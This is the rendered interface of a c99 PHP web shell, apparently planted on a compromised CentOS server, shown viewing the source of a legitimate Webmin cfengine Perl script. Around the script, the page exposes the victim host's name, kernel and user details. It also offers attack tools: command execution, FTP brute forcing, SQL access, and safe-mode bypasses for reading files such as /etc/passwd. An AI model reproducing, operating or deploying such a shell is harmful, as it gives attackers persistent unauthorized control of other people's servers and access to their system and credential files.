!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/cfengine/   drwxr-xr-x
Free 50.94 GB of 127.8 GB (39.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     cluster.cgi (2.52 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# cluster.cgi
# Optionally copy to and run the configuration on all managed hosts

require './cfengine-lib.pl';
&foreign_require("servers", "servers-lib.pl");
&ReadParse();
&ui_print_header(undef, $text{'cluster_title'}, "");
$| = 1;

# Build options string
$args .= " -v" if ($in{'verbose'});
$args .= " --dry-run" if ($in{'dry'});
$args .= " -i" if ($in{'noifc'});
$args .= " -m" if ($in{'nomnt'});
$args .= " -s" if ($in{'nocmd'});
$args .= " -t" if ($in{'notidy'});
$args .= " -X" if ($in{'nolinks'});

# Setup error handler for down hosts
sub run_error
{
$run_error_msg = join("", @_);
}
&remote_error_setup(\&run_error);

# Run on all hosts
print "<b>$text{'cluster_header'}</b><p>\n";
@hosts = &list_cfengine_hosts();
@servers = &list_servers();
$p = 0;
foreach $h (@hosts) {
        local ($s) = grep { $_->{'id'} == $h->{'id'} } @servers;
 
        local ($rh = "READ$p", $wh = "WRITE$p");
        pipe($rh, $wh);
        if (!fork()) {
                close($rh);
        &remote_foreign_require($s->{'host'}, "cfengine",
                    "cfengine-lib.pl");
        if ($run_error_msg) {
            # Host is down
            print $wh &serialise_variable([ 0, $run_error_msg ]);
            exit;
            }
        local $rconf = &remote_eval($s->{'host'}, "cfengine",
                "\$cfengine_conf");

        # Copy the config if requested and if not local
        if ($in{'copy'} && $s->{'id'}) {
            $lst = [ stat($cfengine_conf) ];
            $rst = &remote_eval($s->{'host'}, "cfengine",
                    '[ stat($cfengine_conf) ]');
            if ($lst->[1] != $rst->[1] ||
                $lst->[7] != $rst->[7] ||
                $lst->[9] != $rst->[9]) {
                &remote_write($s->{'host'}, $cfengine_conf, $rconf);
                }
            }

        # Execute code to run cfengine
        $out = &remote_eval($s->{'host'}, "cfengine",
            "\$ENV{'CFINPUTS'} = \$config{'cfengine_dir'}; `\$config{'cfengine'} -f \$cfengine_conf $args 2>&1 </dev/null`");
        print $wh &serialise_variable([ 1, $out ]);
        close($wh);
        exit;
        }
    close($wh);
    $p++;
    }

# Read back the results
$p = 0;
foreach $h (@hosts) {
    local ($s) = grep { $_->{'id'} == $h->{'id'} } @servers;
    local $d = $s->{'desc'} ? $s->{'desc'} : $s->{'host'};
    local $rh = "READ$p";
    local $line = <$rh>;
    local $rv = &unserialise_variable($line);
    close($rh);

    print &ui_hr();
    if ($rv && $rv->[0]) {
        # Run ok! Show the output
        print "<font size=+1>",&text('cluster_success', $d),"</font><br>\n";
        print "<font size=-1><pre>$rv->[1]</pre></font>\n";
        }
    else {
        # Something went wrong
        print &text('cluster_failed', $d, $rv->[1]),"<br>\n";
        }
    $p++;
    }

&remote_finished();
&ui_print_footer("list_hosts.cgi", $text{'hosts_return'});


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.006 ]--